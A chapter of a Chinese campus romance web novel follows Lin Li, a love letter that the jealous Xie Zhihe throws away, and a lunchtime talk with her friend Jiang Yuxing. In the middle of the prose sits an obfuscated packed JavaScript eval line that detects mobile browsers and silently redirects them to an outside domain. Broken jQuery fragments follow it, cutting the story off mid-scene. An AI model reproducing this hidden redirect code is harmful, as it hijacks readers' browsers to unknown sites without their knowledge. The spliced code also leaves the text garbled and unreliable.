教室的窗帘被风吹得轻轻晃动，阳光斜斜洒进来，落在林黎的课桌上，也照亮了她那张带着几分惊讶的小脸。
她手里正捏着一封信，信纸是最普通的白色信笺，字迹却熟悉得不能再熟悉。
林黎才看了几行，江语星就像只嗅到八卦气味的小狗，一把抢了过去，清了清嗓子，抑扬顿挫地念了起来：
“我们从小认识，算是半个青梅竹马。你小时候还叫我‘序哥哥’呢……长大之后，我们渐渐疏远，我才意识到自己对你……”
“呕。”江语星突然打断自己，一脸嫌弃地看向林黎，“这是想重修旧好啊？还做朋友？这是把我家阿黎当鱼钓，他配吗他？”
林黎眼睫微动，神色淡淡，只是眉间轻皱，不知道是因为江语星的话，还是那封情书太露骨。
她正想说点什么，旁边一直安静地写卷子的谢知贺，突然动作一顿。
他伸手，把那封信从江语星手里夺过来。
一声轻响。
信被他揉成了一团，在空气里划出一道弧线，“啪”地一声砸进了教室后面的垃圾桶。
动作干脆利落，像是在执行某种清理计划。谢知贺收回手时，嘴角抿得死紧，脸色冷得像刚解冻的冰块。
“马上要期中联考了，不要分心。”他说这话时，眼睛却没有看林黎，像是在努力压抑什么情绪。
空气安静了两秒。
江语星捂着嘴噗嗤一笑，眨眨眼：“那你那边呢，许梓晗那事处理得怎么样了？”
谢知贺轻轻嗯了一声，低头翻笔记，“解决了。她这两天确实没再送奶茶。”
他说得不轻不重，却像是一种有意的回应，回应刚才那封信，也回应林黎不说出口的在意。
林黎下意识地抬眸去看他，却正好对上他那双沉沉的眼。
她一怔。
谢知贺误以为她在生气，眼睫一沉，嗓音不高却很低哑：“你难道……还真的还想跟殷序做朋友？”
林黎愣了一下，随即摇了摇头：“没那个意思。”
谢知贺闻言，原本紧绷的下颌线才慢慢松开。他望着她的眼神却没有立刻移开，只是盯着林黎看了好几秒，像在确认她说的是不是敷衍。
阳光照在他睫毛上，隐隐能看到那层微颤的阴影。
谢知贺又转头看了林黎一眼，似是犹豫了下，还是开了口。
“上个月我跟几个朋友去日料店吃饭，撞见殷序了。”他语气平静，却藏着一点说不清的克制。
“他也在那家日料店，对面是个女生，眼睛都哭肿了，声音挺大，问他到底喜不喜欢她。”
林黎怔住了，神情略有变化。
“他怎么说的？”她低声问。
谢知贺轻嗤一声：“他说，他一直当她是妹妹。”
林黎的指尖一紧。
谢知贺继续道：“那女生一边哭一边说，可殷序一句话也没回，就那么看着她，好像在等她崩溃。眼神特别淡。”
他说着，终于抬眸看向林黎，“你觉得，一个看别人为自己崩溃都毫无反应的人，会是个好朋友吗？”
林黎垂在书本上的指尖动了动，心底微微泛起些凉意。
谢知贺的嗓音又低了几分：“我没打算多管闲事，只是……不想你被人当消遣。”
他的语气克制到极点，几乎听不出情绪，可那一瞬林黎心里还是泛起一丝说不清的情绪。
林黎轻轻嗯了一声，垂眸扫了下桌上的橡皮屑。谢知贺却已转过头去，翻书页的动作却慢了些。
他的唇线仍抿着，但眼里那点寒意，已然散开。
谢知贺莫名觉得自己像一只炸毛又克制自持的猫，表面云淡风轻，心里早已抓狂翻腾。
然而到底为什么炸毛，他也不知道。
林黎垂着眼，手指轻轻碾着手中那块软软的橡皮，小臂支在课桌上，耳边还残留着谢知贺那句低哑的：“你难道……真的还想跟殷序做朋友？”
她其实有点愣神。
不是因为那封情书，而是谢知贺刚才的反应。
那个平时坐姿端正，做题目比谁都冷静的谢知贺，会因为一封别人写来的情书，直接动手把信揉成团丢进垃圾桶。
会用那种……快要压不住的语气质问她，还想不想跟别的男生做朋友。
他不是一向冷静克制的么？不是连许梓晗送奶茶都面无表情地拒绝的吗？
林黎心口软软的，好像被什么撞了一下。不是疼，是一种泛着轻微涟漪的甜意。
她不傻，也不是真的没感觉。
只是她习惯把一切感觉藏着掖着，装作若无其事。
林黎的指尖在桌面上慢慢地画着圈，状似漫不经心地问了一句：“你扔得挺快啊，怕我收着？”
谢知贺翻书的手一顿，没吭声。
林黎转头看他一眼，他背对着窗，脸的半边陷在阴影里，只能看清他抿紧的嘴角，和那道若隐若现的下颌线。
他没回答。
林黎忽然轻轻一笑，“放心，我又不傻，哪能真把这种情书当回事。”
谢知贺这才缓缓转头看她一眼，眼神里仍带着点防备，像是还不太相信。
林黎笑着看他：“你以为我真想跟他做朋友啊？他高中第一年就没搭理过我，复读回来就发现‘哎哟我对她好像有点心动’？我不傻。”
谢知贺看着她，那层冷意终于缓缓散下去。他没再说话，只是轻轻地嗯了一声。
林黎本以为他会继续翻书，结果他却忽然伸手，从她桌角抽走一支笔，低声说：“借用下。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765566|174568||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她愣了一下，没说什么。
但她看到他握笔的指节明显比刚才更用力了些。耳根泛起一点不自然的红色，迟迟不肯褪去。
明明是一副沉着冷静的脸，却透着一点……小小的醋意，还有掩不住的在意。
林黎低头，勾了勾唇角。
*
中午食堂人多嘈杂，饭菜的香味混着热气腾腾地往上扑。
林黎捧着餐盘找了个靠窗的位置坐下，没一会儿，江语星蹦哒着过来，一屁股坐在她对面，把奶茶吸管咬得“咯吱”响。
“你家谢大帅哥，”她一边搅拌饭里的酱汁一边抬眼调侃，“上午那叫一个吃醋，脸黑得像没拉窗帘的宿舍。”
林黎咬着筷子轻轻笑了声，没回话，只是低头拌饭。
江语星支着下巴盯了她一会儿，“怎么，不否认啊？”
林黎还是没说话，只是换了个话题：“你跟宋亦言，是怎么回事？”
江语星手里的筷子顿了顿，随即故作自然地夹了口菜：“什么怎么回事？”
“你以前从来没跟我提过他。”林黎抬眼盯着她，“我们从初中混到现在，按你平常的嘴碎程度，喜欢个男生，网恋个电竞哥哥，哪次不大喇喇告诉我了？”
江语星咀嚼的动作顿了顿，眼神开始飘忽，“没啥事。就是以前小学同学，碰一碰，尴不尴尬啊？”
“可那天你脸都变了。”林黎语气平静，“国庆之后你整个人都不对劲，上课老走神，还被数学老师点名两次。你要真不在乎，也不至于这样吧？”
江语星低头扒饭，假装没听见。
“是不是他回江临市了，”林黎轻声说，“你心里还有点在意他吧？”
对面的江语星抿了抿嘴，耳根悄悄红了起来，“快吃快吃，吃完还要回去刷题呢，别在这儿搞什么八卦访谈。”
林黎见她眼神闪避，脸色微红，不再继续追问。她低头舀了一口饭，没说话，嘴角却慢慢翘了起来。
果然，那个向来嚣张跋扈、从不藏心事的江语星，也终于遇上让她不敢言说的人了。
*
夜色沉沉，街边的路灯闪着微弱的光，像是被风吹得发抖，昏黄的光晕打在水泥路上，拉出一地斑驳阴影。
秋天的夜晚透着些微凉意，风吹过小巷时带着一股潮湿的气味，有种说不清的压抑。
放学后的林黎背着书包，慢悠悠地走在通往公交车站的路上。
江语星被她妈接走了，临走前还念叨让她早点回家，可她没怎么听进去，有线耳机挂在耳朵里，一步一步，散漫而自由。
当林黎路过巷口时，一阵嘈杂的骂声从里头传来，像是有什么人在吵架，又像是……有人在哭。
她顿了一下，顺着声音看去。